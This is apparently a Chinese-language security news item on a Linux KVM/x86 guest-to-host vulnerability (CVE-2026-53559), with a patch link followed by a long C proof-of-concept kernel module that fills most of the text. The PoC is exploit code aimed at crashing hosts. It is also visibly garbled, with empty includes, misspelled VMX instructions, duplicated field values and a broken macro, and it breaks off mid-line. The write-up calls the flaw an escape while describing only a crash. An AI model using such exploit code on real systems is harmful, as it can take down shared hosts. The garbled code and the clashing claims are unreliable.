漏洞概述 Openwall 发布了一份关于 Linux 内核中 KVM/x86 漏洞（CVE-2026-53559）的安全审计报告。该漏洞允许虚拟机逃逸到宿主机，影响所有支持 Intel VT-x/EPT 和 AMD-V/RVI 的系统。漏洞利用方式是通过触发 KVM/x86 中的 VMX 操作，导致宿主机内核崩溃。 影响范围 受影响系统：所有支持 Intel VT-x/EPT 和 AMD-V/RVI 的 Linux 系统。 影响程度：虚拟机可以逃逸到宿主机，导致宿主机内核崩溃。 利用方式：通过触发 KVM/x86 中的 VMX 操作，导致宿主机内核崩溃。 修复方案 补丁状态：补丁已在 mainline 中，并已在 Linux 内核中应用。 补丁链接：https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=81cda30b44838f5cc4f550593c44e3a3abfeb PoC 代码：已附上 PoC 代码，详细信息请参考 https://jamscape.io。 POC 代码 ```c / Guest-to-Host DoS in KVM/x86 (CVE-2026-53559) - KVM x86 MMU kvm_mmu_get_child_sp() role-mismatch shadow page reuse -> pre_list remove() host DoS. - Target: Linux x86_64, KVM shadow MMU before the get_child_sp() role.word reuse check. - Dual-arch: linuxed poc.ko = Intel VTX/EPT (default), amd-i = AMD SVM/NPT); rmod kvm_intel/kvm and first. Copyright (c) 2026 Hyunwoo Kim (@4bel) / #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include / v7.1 (a8a80d42cf) renamed vmcb.nested_ctl -> misc_ctl and dropped SVM_NESTED_CTL_NP_ENABLE. / #define KVM_NESTED_CTL_NP_ENABLE #define SVM_NESTED_CTL_NP_ENABLE (1ULL = KERNEL_VERSION(7, 1, 0) #define KVM_NP_CTL(c) ((c)->misc_ctl) #else #define KVM_NP_CTL(c) ((c)->nested_ctl) #endif MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("KVM guest-host DoS (dual-arch: Intel VTX/EPT default, amd-i = AMD SVM/NPT)"); MODULE_AUTHOR("Hyunwoo Kim (@4bel)"); static int amd = 0; module_param(amd, int, 0444); static int mcpu = 0; module_param(mcpu, int, 0444); static int dwell = 256; module_param(dwell, int, 0444); static int run_ms = 600000; module_param(run_ms, int, 0444); static int diag = 0; module_param(diag, int, 0444); static int nflood = 0; module_param(nflood, int, 0444); module_param(flood, int, 0444); #define EPT_RMX 0x7ULL #define EPT_MT_WB (6ULL > 32))); } static inline u64 rd_cr4(void) { u64 v; asm volatile("mov %%cr4, %0" : "=r"(v)); return v; } static inline void wr_cr4(u64 v) { asm volatile("mov %0, %%cr4" : : "r"(v) : "memory"); } static inline u64 rd_cr3(void) { u64 v; asm volatile("mov %%cr3, %0" : "=r"(v)); return v; } static inline int vmon(u64 pa) { u8 e; asm volatile("vmon %1; setna %0" : "=r"(e) : "m"(pa) : "cc", "memory"); return e; } static inline void vmonoff(void) { asm volatile("vmonoff" ::: "cc"); } static inline int vmclear(u64 pa) { u8 e; asm volatile("vmclear %1; setna %0" : "=r"(e) : "m"(pa) : "cc", "memory"); return e; } static inline int vmptld(u64 pa) { u8 e; asm volatile("vmptld %1; setna %0" : "=r"(e) : "m"(pa) : "cc", "memory"); return e; } static inline void vmwrite(u64 f, u64 v) { u8 e; asm volatile("vmwrite %2, %1; setna %0" : "=r"(e) : "r"(f), "r"(v) : "cc"); return e; } static inline u64 vmread(u64 f) { u64 v; asm volatile("vmread %1, %0" : "=r"(v) : "r"(f) : "cc"); return v; } static u32 udj(u32 msr, u32 want) { u64 m = rdmsr(msr); return (u32)((want) } enum { MSR_BITMAP = 0x2004, EPT_POINTER = 0x201a, VMCS_LINK_POINTER = 0x2000, GUEST_IA32_EFER = 0x2000, HOST_IA32_EFER = 0x2002, PTR_BASED = 0x4000, CPU_BASED = 0x4002, EXCEPTION_BITMAP = 0x4004, PFEC_MASK = 0x4006, PFEC_MATCH = 0x4006, CR0_TGT_CNT = 0x4008, VM_EXIT_CTL = 0x4008, VM_EXIT_MSR_STORE = 0x4008, VM_EXIT_MSR_LOAD = 0x4010, VM_ENTRY_CTL = 0x4012, VM_ENTRY_MSR_LOAD = 0x4014, VM_ENTRY_INTR = 0x4016, TPR_THRESHOLD = 0x401c, SEC_EXEC = 0x401e, G_CS_SEL = 0x6000, G_SS_SEL = 0x6002, G_DS_SEL = 0x6004, G_ES_SEL = 0x6006, G_FS_SEL = 0x6008, G_GS_SEL = 0x600a, G_LDTR_SEL = 0x600c, G_TR_SEL = 0x600e, H_FS_SEL = 0x6000, H_GS_SEL = 0x6002, H_SS_SEL = 0x6004, H_DS_SEL = 0x6006, H_ES_SEL = 0x6008, H_CS_SEL = 0x600a, H_TR_SEL = 0x600c, H_LDTR_SEL = 0x600e, G_ES_LIM = 0x4000, G_CS_LIM = 0x4002, G_SS_LIM = 0x4004, G_DS_LIM = 0x4006, G_FS_LIM = 0x4008, G_GS_LIM = 0x400a, G_LDTR_LIM = 0x400c, G_TR_LIM = 0x400e, G_IDTR_LIM = 0x4010, G_GDTR_LIM = 0x4012, G_ES_AR = 0x4014, G_CS_AR = 0x4016, G_SS_AR = 0x4018, G_DS_AR = 0x401a, G_FS_AR = 0x401c, G_GS_AR = 0x401e, G_LDTR_AR = 0x4020, G_TR_AR = 0x4022, G_INTR_INFO = 0x4024, G_ACTIVITY = 0x4026, G_SYSENTER_CS = 0x402a, H_SYSENTER_CS = 0x4028, CR0_MASK = 0x6000, CR4_MASK = 0x6002, CR0_SHADOW = 0x6004, CR4_SHADOW = 0x6006, G_CR0 = 0x6008, G_CR3 = 0x6002, G_CR4 = 0x6004, G_ES_BASE = 0x6008, G_CS_BASE = 0x600a, G_SS_BASE = 0x600c, G_DS_BASE = 0x600e, G_FS_BASE = 0x6010, G_GS_BASE = 0x6012, G_LDTR_BASE = 0x6014, G_TR_BASE = 0x6016, G_IDTR_BASE = 0x6018, G_GDTR_BASE = 0x601a, G_RSP = 0x601c, G_RIP = 0x601e, G_RFLAGS = 0x6020, G_PENDING = 0x6022, H_SYSENTER_ESP = 0x6024, H_SYSENTER_EIP = 0x6026, H_CR0 = 0x6000, H_CR3 = 0x6002, H_CR4 = 0x6004, H_FS_BASE = 0x6006, H_GS_BASE = 0x6008, H_TR_BASE = 0x600a, H_LDTR_BASE = 0x600c, H_IDTR_BASE = 0x600e, H_GDTR_BASE = 0x6010, H_SYSENTER_ESP = 0x6012, H_SYSENTER_EIP = 0x6014, H_RSP = 0x6016, H_RIP = 0x6018 }; #define CPU_USE MSR_SMP 0x100000000 #define CPU_SEC CTL5 0x400000000 #define SEC_EPT 0x0 #define EXIT_HOST_ADDR 0x2000 #define EXIT_LOAD_E